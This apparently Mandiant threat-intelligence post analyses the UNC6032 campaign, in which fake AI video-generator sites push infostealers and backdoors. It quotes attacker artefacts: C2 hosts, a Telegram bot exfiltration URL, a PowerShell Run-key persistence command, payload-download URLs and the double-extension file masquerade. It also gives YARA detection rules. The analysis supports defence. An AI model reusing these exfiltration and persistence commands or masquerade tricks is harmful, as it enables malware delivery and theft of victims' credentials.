Text-to-Malware: How Cybercriminals Weaponize Fake AI-Themed Websites

Written by: Diana Ion, Rommel Joven, Yash Gupta

Since November 2024, Mandiant Threat Defense has been investigating an UNC6032 campaign that weaponizes the interest around AI tools, in particular those tools which can be used to generate videos based on user prompts. UNC6032 utilizes fake “AI video generator” websites to distribute malware leading to the deployment of payloads such as Python-based infostealers and several backdoors. Victims are typically directed to these fake websites via malicious social media ads that masquerade as legitimate AI video generator tools like Luma AI, Canva Dream Lab, and Kling AI, among others. Mandiant Threat Defense has identified thousands of UNC6032-linked ads that have collectively reached millions of users across various social media platforms like Facebook and LinkedIn. We suspect similar campaigns are active on other platforms as well, as cybercriminals consistently evolve tactics to evade detection and target multiple platforms to increase their chances of success. 

Mandiant Threat Defense has observed UNC6032 compromises culminating in the exfiltration of login credentials, cookies, credit card data, and Facebook information through the Telegram API. This campaign has been active since at least mid-2024 and has impacted victims across different geographies and industries. Google Threat Intelligence Group (GTIG) assesses UNC6032 to have a Vietnam nexus. 

Mandiant Threat Defense acknowledges Meta's collaborative and proactive threat hunting efforts in removing the identified malicious ads, domains, and accounts. Notably, a significant portion of Meta’s detection and removal began in 2024, prior to Mandiant alerting them of additional malicious activity we identified.

A similar investigation was recently published by Morphisec.

Campaign Overview

Threat actors haven't wasted a moment capitalizing on the global fascination with Artificial Intelligence. As AI's popularity surged over the past couple of years, cybercriminals quickly moved to exploit the widespread excitement. Their actions have fueled a massive and rapidly expanding campaign centered on fraudulent websites masquerading as cutting-edge AI tools. These websites have been promoted by a large network of misleading social media ads, similar to the ones shown in Figure 1 and Figure 2.

As part of Meta’s implementation of the Digital Services Act, the Ad Library displays additional information (ad campaign dates, targeting parameters and ad reach) on all ads that target people from the European Union. LinkedIn has also implemented a similar transparency tool.

Our research through both Ad Library tools identified over 30 different websites, mentioned across thousands of ads, active since mid 2024, all displaying similar ad content. The majority of ads which we found ran on Facebook, with only a handful also advertised on LinkedIn. The ads were published using both attacker-created Facebook pages, as well as by compromised Facebook accounts. Mandiant Threat Defense performed further analysis of a sample of over 120 malicious ads and, from the EU transparency section of the ads, their total reach for EU countries was over 2.3 million users. Table 1 displays the top 5 Facebook ads by reach. It should be noted that reach does not equate to the number of victims. According to Meta, the reach of an ad is an estimated number of how many Account Center accounts saw the ad at least once.

The threat actor constantly rotates the domains mentioned in the Facebook ads, likely to avoid detection and account bans. We noted that once a domain is registered, it will be referenced in ads within a few days if not the same day. Moreover, most of the ads are short lived, with new ones being created on a daily basis. 

On LinkedIn, we identified roughly 10 malicious ads, each directing users to hxxps://klingxai[.]com. This domain was registered on September 19, 2024, and the first ad appeared just a day later. These ads have a total impression estimate of 50k-250k. For each ad, the United States was the region with the highest percentage of impressions, although the targeting included other regions such as Europe and Australia.

From the websites investigated, Mandiant Threat Defense observed that they have similar interfaces and offer purported functionalities such as text-to-video or image-to-video generation. Once the user provides a prompt to generate a video, regardless of the input, the website will serve one of the static payloads hosted on the same (or related) infrastructure. 

The payload downloaded is the STARKVEIL malware. It drops three different modular malware families, primarily designed for information theft and capable of downloading plugins to extend their functionality. The presence of multiple, similar payloads suggests a fail-safe mechanism, allowing the attack to persist even if some payloads are detected or blocked by security defences.

In the next section, we will delve deeper into one particular compromise Mandiant Threat Defense responded to.

Luma AI Investigation

Infection Chain

This blog post provides a detailed analysis of our findings on the key components of this campaign:

• Lure: The threat actors leverage social networks to push AI-themed ads that direct users to fake AI websites, resulting in malware downloads.

• Malware: It contains several malware components, including the STARKVEIL dropper, which deploys the XWORM and FROSTRIFT backdoors and the GRIMPULL downloader.

• Execution: The malware makes extensive use of DLL side-loading, in-memory droppers, and process injection to execute its payloads.

• Persistence: It uses AutoRun registry key for its two Backdoors (XWORM and FROSTRIFT).

• Anti-VM and Anti-analysis: GRIMPULL checks for commonly used artifacts\features from known Sandbox and analysis tools.

• Reconnaissance 

• Host reconnaissance: XWORM and FROSTRIFT survey the host by collecting information, including OS, username, role, hardware identifiers, and installed AV.

• Software reconnaissance: FROSTRIFT checks the existence of certain messaging applications and browsers.

• Command-and-control (C2)

• Tor: GRIMPULL utilizes a Tor Tunnel to fetch additional .NET payloads.

• Telegram: XWORM sends victim notification via telegram including information gathered during host reconnaissance.

• TCP: The malware connects to its C2 using ports 7789, 25699, 56001.

• Information stealer 

• Keylogger: XWORM log keystrokes from the host.

• Browser extensions: FROSTRIFT scans for 48 browser extensions related to Password managers, Authenticators, and Digital wallets potentially for data theft.

• Backdoor Commands: XWORM supports multiple commands for further compromise.

The Lure

This particular case began from a Facebook Ad for “Luma Dream AI Machine”, masquerading as a well-known text-to-video AI tool - Luma AI. The ad, as seen in Figure 4, redirected the user to an attacker-created website hosted at hxxps://lumalabsai[.]in/.

Once on the fake Luma AI website, the user can click the “Start Free Now” button and choose from various video generation functionalities. Regardless of the selected option, the same prompt is displayed, as shown in the GIF in Figure 5. 

This multi-step process, made to resemble any other legitimate text-to-video or image-to-video generation tool website, creates a sense of familiarity to the user and does not give any immediate indication of malicious intent. Once the user hits the generate button, a loading bar appears, mimicking an AI model hard at work. After a few seconds, when the new video is supposedly ready, a Download button is displayed. This leads to the download of a ZIP archive file on the victim host.

Unsurprisingly, the ready-to-download archive is one of many payloads already hosted on the same server, with no connection to the user input. In this case, several archives were hosted at the path hxxps://lumalabsai[.]in/complete/. Mandiant determined that the website will serve the archive file with the most recent “Last Modified” value, indicating continuous updates by the threat actor. Mandiant compared some of these payloads and found them to be functionally similar, with different obfuscation techniques applied, thus resulting in different sizes.

Execution

The previously downloaded ZIP archive contains an executable with a double extension (.mp4 and .exe) in its name, separated by thirteen Braille Pattern Blank (Unicode: U+2800, UTF-8: E2 A0 80) characters. This is a special whitespace character from the Braille Pattern Block in Unicode.

The resulting file name, Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, aims to make the binary less suspicious by pushing the .exe extension out of the user view. The number of Braille Pattern Blank characters used varies across different samples served, ranging from 13 to more than 30. To further hide the true purpose of this binary, the default .mp4 Windows icon is used on the malicious file.

Figure 8 shows how the file looks on Windows 11, compared to a legitimate .mp4 file.

STARKVEIL

The binary Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, tracked by Mandiant as STARKVEIL, is a dropper written in Rust. Once executed, it extracts an embedded archive containing benign executables and its malware components. These are later utilized to inject malicious code into several legitimate processes. 

Executing the malware displays an error window, as seen in Figure 9, to trick the user into trying to execute it again and into believing that the file is corrupted.

For a successful compromise, the executable needs to run twice; the initial execution results in the extraction of all the embedded files under the C:\winsystem\ directory.

During the second execution, the main executable spawns the Python Launcher, py.exe, with an obfuscated Python command as an argument. The Python command decodes an embedded Python code, which Mandiant tracks as COILHATCH dropper. COILHATCH performs the following actions (note that the script has been deobfuscated and renamed for improved readability):

• The command takes a Base85-encoded string, decodes it, decompresses the result using zlib, deserializes the resulting data using the marshal module, and then executes the final deserialized data as Python code.

• The decompiled first-stage Python code combines RSA, AES, RC4, and XOR techniques to decrypt the second stage Python bytecode.

• The decrypted second-stage Python script executes C:\winsystem\heif\heif.exe, which is a legitimate, digitally signed executable, used to side-load a malicious DLL. This serves as the launcher to execute the other malware components.

The following is the resulting process tree:

explorer.exe 
  ↳ 7zfm.exe "<path>\Lumalabs_1926326251082123689-626.zip"
    ↳ "<path>\lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe" 
      ↳ "C:\winsystem\py\py.exe" -c exec(__import__ ..<ENCODED PYTHON CODE>..) 
         ↳ "C:\WINDOWS\system32\cmd.exe" /c "C:\winsystem\heif\heif.exe"
           ↳ "C:\winsystem\heif\heif.exe"

Malware Analysis

As mentioned, the STARKVEIL malware drops its components during its first execution and executes a launcher on its second execution. The complete analysis of all the malware components and their roles is provided in the next sections.

Each of these DLLs operates as an in-memory dropper and spawns a new victim process to perform code injection through process replacement.

Launcher

The execution of C:\winsystem\heif\heif.exe results in the side-loading of the malicious heif.dll, located in the same directory. This DLL is an in-memory dropper that spawns a legitimate Windows process (which may vary) and performs code injection through process replacement.

The injected code is a .NET executable that acts as a launcher and performs the following:

1. Moves multiple folders from C:\winsystem to %APPDATA%. The destination folders are:
   • %APPDATA%\python
   • %APPDATA%\pythonw
   • %APPDATA%\ffplay
   • %APPDATA%\Launcher
2. Launches three legitimate processes to side-load associated malicious DLLs. The malicious DLLs for each process are:
   • python.exe: %APPDATA%\python\avcodec-61.dll
   • pythonw.exe: %APPDATA%\pythonw\heif.dll
   • ffplay.exe: %APPDATA%\ffplay\libde265.dll
3. Establishes persistence via AutoRun registry key.
   • value: Dropbox
   • key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
   • root: HKCU\
   • value data: "cmd.exe /c \"cd /d "<exePath>" && "Launcher.exe""

The AutoRun Key executes %APPDATA%\Launcher\Launcher.exe that sideloads the DLL file libde265.dll. This DLL spawns and injects its payload into AddInProcess32.exe via PE hollowing. The injected code’s main purpose is to execute the legitimate binaries C:\winsystem\heif2rgb\heif2rgb.exe and C:\winsystem\heif-info\heif-info.exe, which, in turn, sideload the backdoors XWORM and FROSTRIFT, respectively.

GRIMPULL

Of the three executables, the launcher first executes %APPDATA%\python\python.exe, which side-loads the DLL avcodec-61.dll and injects the malware GRIMPULL into a legitimate Windows process. 

GRIMPULL is a .NET-based downloader that incorporates anti-VM capabilities and utilizes Tor for C2 server connections.

Anti-VM and Anti-Analysis 

GRIMPULL begins by checking for the presence of the mutex value aff391c406ebc4c3, and terminates itself if this is found. Otherwise, the malware proceeds to perform further anti-VM checks, exiting in case any of the mentioned checks succeeds.

Download Function

GRIMPULL verifies the presence of a Tor process. If a Tor process is not detected, it proceeds to download, decompress, and execute Tor from the following URL:

https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/
tor-expert-bundle-windows-i686-13.0.9.tar.gz

Afterwards, Tor will run locally on port 9050.

C2 Communication

GRIMPULL then attempts to connect to the following C2 server via the Tor tunnel over TCP.

strokes[.]zapto[.]org:7789

The malware maintains this connection and periodically checks for .NET payloads. Fetched payloads are decrypted using TripleDES in ECB mode with the MD5 hash of the campaign ID aff391c406ebc4c3 as the decryption key, decompressed with GZip (using a 4-byte length prefix), reversed, and then loaded into memory as .NET assemblies.

Malware Configuration

The configuration elements are encoded as base64 strings, as shown in Figure 16.

Table 5 shows the extracted malware configuration.

XWORM

Secondly, the launcher executes the file %APPDATA%\pythonw\pythonw.exe, which side-loads the DLL heif.dll and injects XWORM into a legitimate Windows process.

XWORM is a .NET-based backdoor that communicates using a custom binary protocol over TCP. Its core functionality involves expanding its capabilities through a plugin management system. Downloaded plugins are written to disk and executed. Supported capabilities include keylogging, command execution, screen capture, and spreading to USB drives.

XWORM Configuration

The malware begins by decoding its configuration using the AES algorithm.

Table 6 shows the extracted malware configuration.

Host Reconnaissance

The malware then performs a system survey to gather the following information:

• Bot ID

• Username

• OS Name

• If it’s running on USB

• CPU Name

• GPU Name

• Ram Capacity

• AV Products list

Sample of collected information:

☠ [KW-2201]

New Clinet : <client_id_from_machine_info_hash>
UserName : <victim_username>
OSFullName : <victim_OS_name>
USB : <is_sample_name_USB.exe>
CPU : <cpu_description>
GPU : <gpu_description>
RAM : <ram_size_in_GBs>
Groub : <installed_av_solutions>

This information is sent to a Telegram chat:

hxxps[:]//api[.]telegram[.]org:443/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1
owtgo24fcO0/sendMessage?chat_id=-1002475751919&text=<collected_sysinfo>

Keylogging

The malware sample saves the logged keystrokes to the file %temp%\Log.tmp.

Sample of content of Log.tmp:

....### explorer ###..[Back]
[Back]
b    
a
n
k
[ENTER]

C2 Communication

The sample connects to its C2 server at tcp://artisanaqua[.]ddnsking[.]com:25699 and initially sends the following information to the C2:

"INFO<Xwormmm>victim_id<Xwormmm>user<Xwormmm>
os_name<Xwormmm>XWorm V5.2<Xwormmm>date_in_dd/mm/yyyy
<Xwormmm>is_sample_name_USB.exe
<Xwormmm>is_administrator<Xwormmm>has_webcam<Xwormmm>cpu_info
<Xwormmm>gpu_info<Xwormmm>ram_size<Xwormmm>installed_AVs"

Then the sample waits for any of the following supported commands:

FROSTRIFT

Lastly, the launcher executes the file %APPDATA%\ffplay\ffplay.exe to side-load the DLL %APPDATA%\ffplay\libde265.dll and inject FROSTRIFT into a legitimate Windows process.

FROSTRIFT is a .NET backdoor that collects system information, installed applications, and crypto wallets. Instead of receiving C2 commands, it receives .NET modules that are stored in the registry to be loaded in-memory. It communicates with the C2 server using GZIP-compressed protobuf messages over TCP/SSL.

Malware Configuration

The malware starts by decoding its configuration, which is a Base64-encoded and GZIP-compressed protobuf message embedded within the strings table.

Table 8 shows the extracted malware configuration.

Persistence

FROSTRIFT can achieve persistence by running the command:

powershell.exe "Remove-ItemProperty -Path 'HKCU:\SOFTWARE\
Microsoft\Windows\CurrentVersion\Run' -Name '<sample_file_name>
';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run' -Name '<sample_file_name>' -Value '""%APPDATA%
\<sample_file_name>""' -PropertyType 'String'"

The sample copies itself to %APPDATA% and adds a new registry value under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the new file path as data to ensure persistence at each system startup.

Host Reconnaissance

The following information is initially collected and submitted by the malware to the C2:

FROSTRIFT checks for the existence of the following browsers:

Table 10: List of browsers

FROSTRIFT also checks for the existence of 48 browser extensions related to Password managers, Authenticators, and Digital wallets. The full list is provided in Table 11.

C2 Communication 

The malware expects the C2 to respond by sending GZIP-compressed Protobuf messages with the following fields:

• registry_val: A registry value under HKCU\Software\<victim_id> to store the loader_bytes.

• loader_bytes: Assembly module to load the loaded_bytes (stored at registry in reverse order).

• loaded_bytes: GZIP-compressed assembly module to be loaded in-memory.

The sample receives loader_bytes only in the first message as it stores it under the registry value HKCU\Software\<victim_id>\registry_val. For the subsequent messages, it only receives registry_val which it uses to fetch loader_bytes from the registry.

The sample sends empty GZIP-compressed Protobuf messages as a keep-alive mechanism until the C2 sends another assembly module to be loaded.

The malware has the ability to download and execute extra payloads from the following hardcoded URLs (this feature is not enabled in this sample):

• WebDriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll;

• chromedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe

• msedgedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe

The files are WebDrivers for browsers that can be used for testing, automation, and interacting with the browser. They can also be used by attackers for malicious purposes, such as deploying additional payloads.

Conclusion

As AI has gained tremendous momentum recently, our research highlights some of the ways in which threat actors have taken advantage of it. Although our investigation was limited in scope, we discovered that well-crafted fake “AI websites” pose a significant threat to both organizations and individual users. These AI tools no longer target just graphic designers; anyone can be lured in by a seemingly harmless ad. The temptation to try the latest AI tool can lead to anyone becoming a victim. We advise users to exercise caution when engaging with AI tools and to verify the legitimacy of the website's domain. 

Acknowledgements

Special thanks to Stephen Eckels, Muhammad Umair, and Mustafa Nasser for their assistance in analyzing the malware samples. Richmond Liclican for his inputs and attribution. Ervin Ocampo, Swapnil Patil, Muhammad Umer Khan, and Muhammad Hasib Latif for providing the detection opportunities.

Detection Opportunities

The following indicators of compromise (IOCs) and YARA rules are also available as a collection and rule pack in Google Threat Intelligence (GTI). 

Host-Based IOCs

Network-Based IOCs

Malware Command and Control

Fake AI Domains

YARA Rules

rule G_Dropper_COILHATCH_1 {
	meta:
		author = "Mandiant"
	strings:
		$i1 = "zlib.decompress" ascii wide
		$i2 = "rc4" ascii wide
		$i3 = "aes_decrypt" ascii wide
		$i4 = "xor" ascii wide
		$i5 = "rsa_decrypt" ascii wide
		$r1 = "private_key" ascii wide
		$r2 = "runner" ascii wide
		$r3 = "marshal" ascii wide
		$r4 = "marshal.loads" ascii wide
		$r5 = "b85decode" ascii wide
		$r6 = "exceute_func" ascii wide
		$r7 = "hybrid_decrypt" ascii wide
	condition:
		(4 of ($i*)) and all of ($r*)
}

rule G_Dropper_STARKVEIL_1 {
	meta:
		author = "Mandiant"
	strings:
		$p00_0 = { 56 57 53 48 83 EC ?? 48 8D AA [4] 48 8B 7D 
?? 48 8B 4F ?? FF 15 [4] 48 89 F9 }
		$p00_1 = { 0F 0B 66 0F 1F 84 00 [4] 48 89 54 24 ?? 55 41 
56 56 57 53 48 83 EC }
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 
and (($p00_0 in (48000 .. 59000) and $p00_1 in (100000 .. 120000)))
}

import "dotnet"

rule G_Downloader_GRIMPULL_1 {
	meta:
		author = "Mandiant"
	strings:
		$str1 = "SbieDll.dll" ascii wide
		$str2 = "cuckoomon.dll" ascii wide
		$str3 = "vmGuestLib.dll" ascii wide
		$str4 = "select * from Win32_BIOS" ascii wide
		$str5 = "VMware|VIRTUAL|A M I|Xen" ascii wide
		$str6 = "Microsoft|VMWare|Virtual" ascii wide
		$str7 = "win32_process.handle='{0}'" ascii wide
		$str8 = "stealer" ascii wide
		$code = { 11 20 11 0F 11 20 11 0F 91 11 1A 11 0F 91 61 D2 9C }
	condition:
		dotnet.is_dotnet and all of them
}

rule G_Backdoor_FROSTRIFT_1 {
	meta:
		author = "Mandiant"
	strings:
		$guid = "$23e83ead-ecb2-418f-9450-813fb7da66b8"
		$r1 = "IdentifiableDecryptor.DecryptorStack"
		$r2 = "$ProtoBuf.Explorers.ExplorerDecryptor"
		$s1 = "\\User Data\\" wide
		$s2 = "SELECT * FROM AntiVirusProduct" wide
		$s3 = "Telegram.exe" wide
		$s4 = "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 
'Image' OR PNPClass = 'Camera')" wide
		$s5 = "Litecoin-Qt" wide
		$s6 = "Bitcoin-Qt" wide
	condition:
		uint16(0) == 0x5a4d and (all of ($s*) or $guid or all of ($r*))
}

YARA-L Rules

Mandiant has made the relevant rules available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set. The activity discussed in the blog post is detected under the rule names:

• Suspicious Binary File Execution - MP4 Masquerade

• Suspicious Binary File Execution - Double Extension and Braille Pattern Blank Masquerade

• Python Script Deobfuscation - Base85 ZLib Marshal

• Suspicious Staging Directory WinSystem

• DLL Search Order Hijacking AVCodec61

• DLL Search Order Hijacking HEIF

• DLL Search Order Hijacking Libde265